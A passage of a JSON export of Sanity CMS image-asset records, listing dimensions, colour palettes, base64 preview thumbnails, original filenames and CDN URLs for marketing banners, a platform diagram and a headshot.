ha1hash":"645bc93e17703a6f48254a02d9d577866628b5f2","size":2746,"uploadId":"cPRCg86hRsdLUVnTueY8IKSPq1Rka2LO","url":"https://cdn.sanity.io/images/sczeoy4w/production/645bc93e17703a6f48254a02d9d577866628b5f2-576x581.svg"} {"_createdAt":"2023-09-12T18:37:14Z","_id":"image-2b0ef181dbcc4a56e2c98b50ff09f914406218f7-1565x880-webp","_rev":"Dk4vsGyYpr9Xi9g7r0zW1Z","_type":"sanity.imageAsset","_updatedAt":"2023-09-12T18:37:14Z","assetId":"2b0ef181dbcc4a56e2c98b50ff09f914406218f7","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBJ*bi?^xZ9F0K00VskCxu%200Ios9%M-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7784090909090908,"height":880,"width":1565},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAPoAAAD6AG1e1JrAAADhklEQVQokQF7A4T8AJaWlgOVlZUCjIyMAZKSkgKLi4sNg4ODG39/fxpsbGwOQkJCCURERAZ0dHQDh4eHAnh4eAJlZWUDZ2dnCXh3dxOCgoEYeXl5GGdnZw9ZWVkGAJWVlQOfn58CpqamBaenpweWlpYJh4eHE4eGhhaAgIAVdXV1FXx8fBCLi4sGgoKCAnV1dQJmYWADY15cCX97ehKQjYwXend2FVpWVQ1RTUwGAJWVlQeNjYwHkI+PGJCPjyOTkpIapKSkKKSjozWampo1k5KSM5KSki2RkJAViYmJB4mIhwaGfXsHgHNwCJyXlRqkoaEvmpWUHHhsagp4bmsIAJaWlg2pqqoSqqytL6irq0GoqqoxnZ2dNpubm0Wio6RMpqmpTaSmpkWdnZ0ijY2NCoqKiQiPhoQJraakDrOztCqwsrNGtre3LLGrqRCIf30OAJ2enhHZ1tUx6NraaezY2YHo3N1kvby8NrGxsTzXzcxw5tPTh+ba2nDc2toyqKuqCGNYVwOgl5UH3dnXJ+XZ2GXl09OF697fZ+Pe3i2PiYcQAKepqxPp4+BX99zXvPvT0N/54N+s5+XmR+Lg3kn13dix+9PP4vvf37v17u9Qx8zJCgAAAAG9s7MJ6+bkSPXd2LP50s7h+d7et+/p6VGalpQSAKyusBTu6eZk9uHa2PfY0v/34uHG7evsUe7s6lP35N7K99nT//ji4Nf17+9dy8zJDAAAAAHFu7sL8OzpVPbj3M332NL/9+Hg0vDq61ydmpgTAK2trhTs7Otg8ezq0PDp5/jx7ey/6+vrTu3t7FDy7uzD8Onn+fLu7c/z8fFZzs7NCwAAAADKwL4J8O7tUPHt68Xv6ef48e3syu7s61mdl5YSAKenpxLl5uZI6uvrmOjq6rXq6+uM5eXlOufn5zvr7OyP6Onqt+vs7Jjr6+tCvLy8CiMgHwK3r60J6ujoO+vs7JDp6uq16+zsk+fl5UKXkI4RAJubmw7Jyckh1dXUPtbV1UjV1dU4xsbGG8fHxxzV1dQ71tXVSdfW1j3Ly8sem5ubC4aEgwiZkpAKz8nIGuDW1Dfh1NJF4NfVOM7JyByNhYMNAJWVlQmVlZUQlpaWGpaWlhyVlZUWk5OTDpOTkw+VlZUZlpaWHZWVlRiSkpIPj4+PCYyLigiMhYQJmIR/C7V/cxHBfm4Xt4B0EZiCfQqGfHoJjBj35/DSCioAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#682722","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#944948","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c68d86","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc66","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#944948","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc245e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"ff75ae7085a5426fbb36ee47306de091ef0cfb3c-1565x880.webp","path":"images/sczeoy4w/production/2b0ef181dbcc4a56e2c98b50ff09f914406218f7-1565x880.webp","sha1hash":"2b0ef181dbcc4a56e2c98b50ff09f914406218f7","size":58000,"uploadId":"bRCSD36ANm1OHGy0FOHAQS4Dw8mz4JX7","url":"https://cdn.sanity.io/images/sczeoy4w/production/2b0ef181dbcc4a56e2c98b50ff09f914406218f7-1565x880.webp"} {"_createdAt":"2023-09-19T21:56:58Z","_id":"image-3e51e54285ee17e1911b3d70e86738291abe8c15-1200x628-png","_rev":"kaQ4ZWos4gq6sBfd7rZuaB","_type":"sanity.imageAsset","_updatedAt":"2023-09-19T21:56:58Z","assetId":"3e51e54285ee17e1911b3d70e86738291abe8c15","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNsG.$V=+[d@~WpbZ~idixZNZ%gNbugM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACG0lEQVQokU3SWU9TYRSF4VMQcUxQEJBoIkNrQGiCBYtUrYp6a6IGQRRFjCYOxAHiBGFqgVIGBYnDjb/0vK8pp0YvdvJdPVn72ytgsFoeN8rzZpmIy7t2meqQ96U5LVPN+ikh06V3o7yqkqmDkjslax1SPC2rcdnolK2zBgztl+et8r5HZjIyn5X5i7J4QfIXJXdelzOylJaZNpk8ItONspaU7bSsd8lKixRaZLXtP/BjWuYuS25AFrKSy0rhmhQHtJCNwHxK8kkppuTnDfl9U35ckfUzkj8h83V/wTb51C+zWZm7FCXMl8HVq7pyQZb6ZDUjhV4pJGUrI7+uR+DXVJRwscGAu/vKCfvk4zn50C3TvTJ/XnKltTOy0COznbLQJbOtMtMky3HZ7JatHtlKyWaXFFoNuFMhI4fl8TEZr5PxI/LsmLxokIlGeX1c3jTIm1p5e1Qma+RzfRlMRtCXZDTFhEF4K3AXHayUu5UyHJORmDyIycOYjFfKy4MyWcamamS2SYod8rVb1tp3ITY7dy8dhHf2GD6oMRyrk0c1cr9a7sXkfiCjQQS+q5WFVllskbmTkmuWjdI/psq1SUT4TtogHNxrOFZv+PSE4ZN6GT0QJfwfnKyTlY6oKktxWUnIl7PyrTfqX2ntnbR8zxiEt2OWUIaqZbhKhivkXvAPHIvJxCHJxWWtS3ItspyIjrHTJ9sp2e6V7/3yI+MfMJkJAFO0FGUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935705","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac378","foreground":"#000","population":0.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b09858","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AivenForGrafana10.png","path":"images/sczeoy4w/production/3e51e54285ee17e1911b3d70e86738291abe8c15-1200x628.png","sha1hash":"3e51e54285ee17e1911b3d70e86738291abe8c15","size":174922,"uploadId":"2VCTaUoGC9WUHlNTvXtyt79L6XqzJ2I2","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e51e54285ee17e1911b3d70e86738291abe8c15-1200x628.png"} {"_createdAt":"2023-11-10T08:38:26Z","_id":"image-a64d9958d82a46396829015d4446d0c19f57b837-624x328-png","_rev":"tCCq0oy69ssaoA8YOJxSJg","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T08:38:26Z","assetId":"a64d9958d82a46396829015d4446d0c19f57b837","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAN,x#000000_L%MWCWXRkof?b9FIUD*t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9024390243902438,"height":328,"width":624},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACjklEQVQokX2TWU9TQRhA+4eQxaBvJmpQHzUmvpgoiUBRNCZGUIghRh9UjGBbuEhZZDMRNC2FQCirmgZZCkisxapUkK29LW3hlluWwjF3KqAvTjKZzMw3Z+abOaO7cthITooRfYqRnGQDeUcqMOd38WtaZnd3V9SdnR1i6gaRsEIouEpoJcLaqsLm5uZ+zF7VZQmgQQCzDxnIS/8XGN+OC8j4qIc2i4OW14O0WR2MDrsJ+ENsbW6JDbVYreiy08vRp5m4mmZCn2rk+tEEcG5aFrCgHGawf5IKyUb5Cxt1Td1I5nYkySbGAxp06wCqu3G8ivyMGgrP1HH3dB13TtVRW2Rn1u1HXVeZdHrE4vpmO1NTHhZmF0Tb8MpOZWW7mN9LX4Pqis7V8/hyK2U5FkqzLTy51ErTg35+fllmJRimu3MEY4WV4dHPKH4f6uI8UdnPyJgLo2Sls2OIpUUf0ahCPB5HV3yhibJcK9LNDgzX2ijJfEPzQw24hOwLYrM6qKiyMeX6Rsi3jN/rJSL7cblnkKpsWN6+Z35uCSWqsL29je7e2ZeUZLbyLMvCo4st3D/fTH1xL17XEiuBEH32MQwmC73vnPjkAJFIGDm4Qv+HCTHeZx8jIAdRVTVxwlvHjBRkVIu7u32imvyTNdQWduN1LaMoUaZdXhrq7VSa2+kZcOL85KFn0EmluYPGhh6+umdR1g4U0uWmlJCbaiBXe+UU7ZUlzAVdzLn9IoVIeE1cfFNjL6ZyK+VSm2i1/oTTI5zc2NgQsQKYnfSUnOTnCbH/eFj1l4da4GpEYeb7AkMOFwO943x0uPD+WGQ1siZgWqr7YuuTStEnJ8T+30/RXIupMdajKrFY4kR77u1JzS78Bjq7xbzKqzbsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#472c5d","foreground":"#fff","population":0.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#501477","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#472c5d","foreground":"#fff","population":0.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabbb0","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cb9fd4","foreground":"#000","population":0.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d56a0","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#783cb6","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Avaya Experience Platform diagram.png","path":"images/sczeoy4w/production/a64d9958d82a46396829015d4446d0c19f57b837-624x328.png","sha1hash":"a64d9958d82a46396829015d4446d0c19f57b837","size":94679,"uploadId":"dWXVpZs1qLra52DRK8Rf5QZSZ8kE5js7","url":"https://cdn.sanity.io/images/sczeoy4w/production/a64d9958d82a46396829015d4446d0c19f57b837-624x328.png"} {"_createdAt":"2023-10-10T14:20:47Z","_id":"image-24cda4cf60d29d8f69ddb60c27438c7f32af7467-1200x628-png","_rev":"08kGRAWxLoE1evFcQW3cMe","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T14:20:47Z","assetId":"24cda4cf60d29d8f69ddb60c27438c7f32af7467","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACD0lEQVQokU2S6W7aQBSFeaiWlhYk0oLZw2Z2bMBmh7AnqdT2qfqjUlr2xQs2YKXvc6q5pk1+HFlzx/PNuWeuwxVaIlrcI9/QSIWmhmJLR7mjQ+wdaZ2R1f97pbYOeWiiNbmgM7XQmVkQ2iaiBRUB/gCHO7JCuqqgdmfYGhiQhgYaYxOt6YnWlf6RajLTyETv4YL+o0XQ+vCMcttArKjCl9rD4YmukJFU+pFBXqs5OVG9PjLRnp3oAlbrP17QvbcgdkxkJR3pqoZQToH3dguHJ7YCX1Pp9sbkBUKuBrYrBmSwf7r7YmH89Rmd2QVi10BW1hEtKPiU2NkO0zWFDjcn9kHmrto/UrsMyL4vUTCHFqbf/2Dy7RmN0RnFpoGUqCGYuWaYEBUI3SNlyAAMzh4lV1fBSypFkpU15Or2g9X6JzTHF1KlaxKQr+oIMKAruASX3uC2tEdCPJDiwgHh/A43iQ08sTX8/A6pikat5WQdQttAtXeiDMtt45rl0Xbo4n7BF/qJUGIOjt/AG1/jQ3iJ98ElnNwCTv8C3vgWSUGjQxlJR6FhQxiUtdx7sCANzrgtaXC4/E/gAj8Qjj+BS6/hjq7w1r/AG9+cxIDuyBocf0A4p5CLSF4heKV3Qv0KZOCEoMHh9P8Gc/kxOAcb8neBBQFfi7llI/E5ucNNfAt/eo+kqKPYMCi/UstATj7ScP8FYOLy+BhrRpEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303654","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b189a","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3444bc","foreground":"#fff","population":22.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a49cec","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6169b9","foreground":"#fff","population":2.9,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3444bc","foreground":"#fff","population":22.98,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AlterraBillsSoMe.png","path":"images/sczeoy4w/production/24cda4cf60d29d8f69ddb60c27438c7f32af7467-1200x628.png","sha1hash":"24cda4cf60d29d8f69ddb60c27438c7f32af7467","size":174116,"uploadId":"HXSyj0nASP0ram7AIhDIpfEHk77R90m3","url":"https://cdn.sanity.io/images/sczeoy4w/production/24cda4cf60d29d8f69ddb60c27438c7f32af7467-1200x628.png"} {"_createdAt":"2023-09-14T08:08:57Z","_id":"image-1df4e3532ec0a5c2d59e0fe05b00b7b028e06c6e-1200x628-png","_rev":"ZpixvKy5oWJdKYmQwh67TX","_type":"sanity.imageAsset","_updatedAt":"2023-09-14T08:08:57Z","assetId":"1df4e3532ec0a5c2d59e0fe05b00b7b028e06c6e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqElEQVQokSWSSU9TARRG+wtMjMwdhM4tFPp4pdD6iqJAW1taWigIJGiMETVicKpUO/DwQQsFtI0aowsTcOEQE4dG2bnQuBEXunLnTzmGx+oubnJy7nc/zeHmCYyO8wh98/RIN+jtT+Ptz9Aj3aUnkMc3oHDsVJFuaQWTq4DOlscmFDkVrTJ17jFnZp8gDW3S2l6g2ZxBU6c7g8tzhYHgIkORHKHYMuHRFULxIqH4OuHEJqeTD+kPbmBzyxhdy8Qmn7Oy9o6nz96y/XKXlfUaJ8JVdLYcmgb9lGo3FM0Sii9xOqEwMlYiOrZOdGyTWOoh0fEK0lBZNezqK5FXPvF59xu1Wo29vV98//GXy9ffYnStomk0TOPxXyMczxNJyITj94kki8RSZWKpLeITFaLjVQLDZaxuGTFQ5n7pI+8/fOH161fs7f3k959/pHM1rN1baBoM04i+awRHcqphMCarwHhqQwXGUhXik48IJ6p4Amu4ekskp6rMLyhkszLbO294sfOVibM7GDs39oEHJw9G7jE8kmcwssTwiKJmGB4tE0luqYbB0Qre4+tY3Qr27gKif4HB0FVS0wViqQd09q2hdygHT2l3zyGdvIV/II3Qd4NO700E3yKiP4tHWkKUlunwymqGbe0yDrGI4C/hkWQ8ARm3T8HcJasN0NQ1jWO3zCCKc7g8V2l1zGGwXsLiWsAhpLELGdraF9Fa0motjjqX6PJt4D1RQZTKCMeKdPYqmFx5tNYsmiMNCUz6MZz2WSwdF9FZLqAzz6lAZ/cdHEKGVuc+7LYK1NsLmLtWsbpXaevIc9R5F4M9g9aySIs1h+ZQfZIjjUnqWyap189Qp5ul3nCeprZLtJjm0Zqv02y6SZPpAKi15tHZZHU2me7QaLxFo3F/n0ZrK/AfHAeOqxmAbFUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f356d","foreground":"#fff","population":1.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142071","foreground":"#fff","population":9.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142071","foreground":"#fff","population":9.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b95be","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4acd5","foreground":"#000","population":1.89,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f7395","foreground":"#fff","population":4.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0744c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven + Bonsai Social Banner Brent.png","path":"images/sczeoy4w/production/1df4e3532ec0a5c2d59e0fe05b00b7b028e06c6e-1200x628.png","sha1hash":"1df4e3532ec0a5c2d59e0fe05b00b7b028e06c6e","size":274066,"uploadId":"0C06i2fnstwcrDVXjWqwdpYbtXjO63iu","url":"https://cdn.sanity.io/images/sczeoy4w/production/1df4e3532ec0a5c2d59e0fe05b00b7b028e06c6e-1200x628.png"} {"_createdAt":"2023-11-10T08:40:41Z","_id":"image-149b5fbec5eb5e99eeeaf98597ce1998add0b2fa-1185x610-png","_rev":"2Eye2NjagEp5aUWL7qIu8e","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T08:40:41Z","assetId":"149b5fbec5eb5e99eeeaf98597ce1998add0b2fa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MfB5bwjYo~fltSE8aeWAfkRj.Aaxi]j[aJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9426229508196722,"height":610,"width":1185},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACTklEQVQokWXNXU/SYRjHcd5IaTnXBPE5DQVReRLMhSAqaVGetCZgy8yalhMCEUVBatqRduJTa25GB/a0Wimo00xLzQ5cU09a7+Hb/n+Wyzr47L7u+7qu3y3R+BZRd82j6phD2TGH+t4rtL1L6INr6IOr6PvXMAysUzn0BWN4C1NkG2NkS6z/ZhLft5FofAuUdr5AeWcWZccspZ0xKjxv0Tx4T4X3nUgXiGMMb1D1cOd/0R1Mom2M4W0khtA6+uAy2t5FtL6PaHwf0PgXjmj9C+j6EhhCn6gMb2IMbx6df5iGv2IaFgK3kAhF5dAGZfdfo2idpsQ9ifrmDGVtT1HdSN6PaRVMUeyeROGcEHfKu9+IGcnA6A66wBJ5jkeklbaQqXGitN5FbeuisPoWcq0bWYUTaUUL0nKh70KucyPTOElXXSNN7ST/6gi6wHIy0Dq6i86/QKbVz4ksG2k5teSqHBSUNZNdcplMRSNyRROZ5xrJKLRzpqCB9Lw60nJtnJSZxR25LYC+N07tyDck1yf2qAomyKrvJzW/iZTsOk7l2TmdZ0dW7EBV5cRQ2yYqPe9CWuwgNaeelJx6MSy14BLZ9hDVA8u0Tu8haX/2gwuRdYpc08htfUjNHjLMXqRmL/n2IIaWUSztY1hvj2N0PebsxX6xl+QRd4rcM9REP9P9fB9JT2yfK2O7WKLr1ISWMA/Ej1hCCeoiKzREV0VCbRlMHJupGVwSd5vHvxN8eYjkSfwnffOHeGIHeF8c5xHEBPsIH4v1PzOCntiBGDa18ovfqL3m8Dik6ggAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444458","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04448c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c94d4","foreground":"#fff","population":28.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aca4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bd3fb","foreground":"#000","population":0.87,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a7ca6","foreground":"#fff","population":1.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c94d4","foreground":"#fff","population":28.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-11-10 093916.png","path":"images/sczeoy4w/production/149b5fbec5eb5e99eeeaf98597ce1998add0b2fa-1185x610.png","sha1hash":"149b5fbec5eb5e99eeeaf98597ce1998add0b2fa","size":144849,"uploadId":"T8ZnVzd2Nikj72SumX34HT1onXiO7xQH","url":"https://cdn.sanity.io/images/sczeoy4w/production/149b5fbec5eb5e99eeeaf98597ce1998add0b2fa-1185x610.png"} {"_createdAt":"2023-09-27T15:06:07Z","_id":"image-fd6c84b6c347afc3087ee3abf8d0fccee7a9e557-1054x1080-png","_rev":"OlHhyDbudqKag6cjyAIDV0","_type":"sanity.imageAsset","_updatedAt":"2023-09-29T13:23:56Z","altText":"Francois Visconte","assetId":"fd6c84b6c347afc3087ee3abf8d0fccee7a9e557","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFIW$sT2qc}bP8}Y}ZVF=|Xl00Sg?HIoJ6ozTJtla0J5xZ%2niNGVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.975925925925926,"height":1080,"width":1054},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFcElEQVQ4jS3MaU/bhwHA4f/7SjtUtWmndpWaqqRpslHKQoBw5mo5bOMrNsaAjxQbbOMAtjE2DiaAuWrAYDD3kXBjQgIBHK42aUJYCF2bSd2qtarWKdKmbS/2BX7Tpj4f4BH26/t5Uj/Aw9oeVo0+VnRe5iuaaXG04+zoxzPUQ8t0G02TAbx+D12GKqI6N7fVNuZyNEyel2OLT+bk66/y6is/QzjwhjnwDfCotod7Rh93dF4WfwqtviA6pwe9o5KrdTZMtnJu6KzMGz3cKapmIa+EmY8K8aRdJvlEHG+99RrCU2+Yp75+Hru6WTfUc1fnYc7kp1bnQHLFQMbHEtIu5pKZK+FSvoziAg0dWhtzRXaWRDqWRKV05KnJT8/g1OkTCIfePg7rw+w7u9g0eFkpcTNQ7EAn1pKbI0GcL0IikiCRKJApNGgKS7EV6umS65kTlXKnwEhIokV54TIJiR8gHHpCHHp6eeL4lJjew6ymmroCAyrxFWqrHIyHepkbGmZ6cITp4XFmxifpa+2gtaSMcVExa9JPCIs0KNIySEw4jXDo7uaZu5snVe3EdHWMKiwYL8tQy1VMhCN888UBL57/mX98+wP//P5H/vXjC54fPGW8qY1hhYF7CjPjCiPaC5dISvwNwjNXF89cQZ7YA2yW1NIrvooqM4fSwiJmB4f5/eY2X+094ocv/8i/v/sr/3nxd/727V9YG5lgrMjMurKcBd01KhRqUlOTEI6cQY4cnRzYmtkodhDML6XoQh6OcgsLA4PMhcIMtwS4GxlkP7rM50tRdpdXiAZ7mSo0saksZ9lQQ6W6mNT0VIRnjk6Oajo4sDaxWepisLAcd5Ge3oYmdqcX2BidYj4YIjY0ymdTM8wEu7gV7GLheoBFtZmt/4UlldjlatKz0hEOq9s5rGpjv6aTWF2IRX8vY/52FkMRni6v803sAV+vbfP16hbP13fZv32P/ehdHgQjbGht7CrLWdNX4TeaURWpEA6vtXLg7uZBzzyxpUcsL+4xHZ5iKTzC9vg0D6fm2Rqe4k73ABuRMQ6iq/xpY5c/9E6wU2xnT2lmp8LDSGML/tYbCBvX2ol1TnN//YjYly+Yjh3R3jFEfyDIbFeIqUAbAx4ffTVOBt0eZto7uD8wzOMbPexobOwpzDyw+1jo7iU0GkGo0dXj9w8Tmt1lYuc5/SuPqfb34Kpy09N4g6FAgLGmFm41BZhr6+BmZyfz7Z1suZrZUlnYk5t4aPex3BchfGsSIU1k4WKhiwJzE3pPP5bAFJrKZsTyYsx6A92NjdyOjLI1OsPnM1HWJm6y2PIpMet1tpQV7MrK+KLSx+rgOCPRJYQUqYMUaQ2pcgdZag8f65s5X1jLB+kikpLT0KpUBP3NRIdusja5wExnmAV7AzvGOrbl5exIP+GRtZ57kXHGlpcRUqVOUmVOUqTVnPt/Wk+mystvszS8+W48x+PiyM7KwlCip9Jkx1ViZ1DrZLPUTUxmYlti5GFZLcvtIbpHRxEScywkias4K77GmTwLySILmVdqOFdg4e34TH5+7Ff88tgr/Pqd45z6MJXs82oqVE76dNeZl1vYFBv5TF/NbEMrgZ4QQvzFqyTmWjkrqeJMnpWESzqyFWbkZW5ScrUce/t9Xnr5ZX7x+hu8efJ3nEwWk5ZbhkblolFZzWKBib1iO7d9rQxGhn4KcywkS52kyJwkfHSVbJkRc20TSpOXE2dzee34Kd6IS+CdDy/yXqqUuGQJ8RlytFdsRLQO7qutbJidLF0PICRcMpGYW0mKvJaMwgbOiCo5l6/D5GjAUBMgKcfA+yl5nErJ470UGaezSok7K+XdxGzkRWaC1kZWlBWs5mtZkpbwX7CwzgH96kaKAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32435f","foreground":"#fff","population":4.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#872c44","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#935160","foreground":"#fff","population":6.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abc7d8","foreground":"#000","population":1.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e490a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#935160","foreground":"#fff","population":6.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b24e61","foreground":"#fff","population":3.54,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"francois-visconte.png","path":"images/sczeoy4w/production/fd6c84b6c347afc3087ee3abf8d0fccee7a9e557-1054x1080.png","sha1hash":"fd6c84b6c347afc3087ee3abf8d0fccee7a9e557","size":1397493,"title":null,"uploadId":"UmjstSnvnqXaKkPBEyuqCogwesz1CMJd","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd6c84b6c347afc3087ee3abf8d0fccee7a9e557-1054x1080.png"} {"_createdAt":"2023-10-09T13:24:02Z","_id":"image-6ed3fb70f59eab0ccbb995834760805d5d26246f-1920x1080-png","_rev":"kdSZ3lyplq7ihlwbziff0J","_type":"sanity.imageAsset","_updatedAt":"2023-10-09T13:24:02Z","assetId":"6ed3fb70f59eab0ccbb995834760805d5d26246f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37K+D-]00ZQMdx|%LRgN5WB02-E?GEvpH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACvElEQVQokS2SW1faCBSF+QXjpVwCBEggIQQSCFCw7dguUaiXoaItTr1OxbuoIIhVEAWtrc786W8W2KezzsP51t77bJtd/BtZ3yaaPMTMnGFm6sTSDczsJYk3bczsDWqijVe9wq208YZvEbV7vOE7hNAlTqmOw3+M3XeIUzrD5gqsYr4+YnK6RW6uw8zCHbm5Hrm5B/LFJ3LzzyT/vEdNdAkad/j1HmJkAOzhVq5wyQ0cgRPs/qPhtLkCa8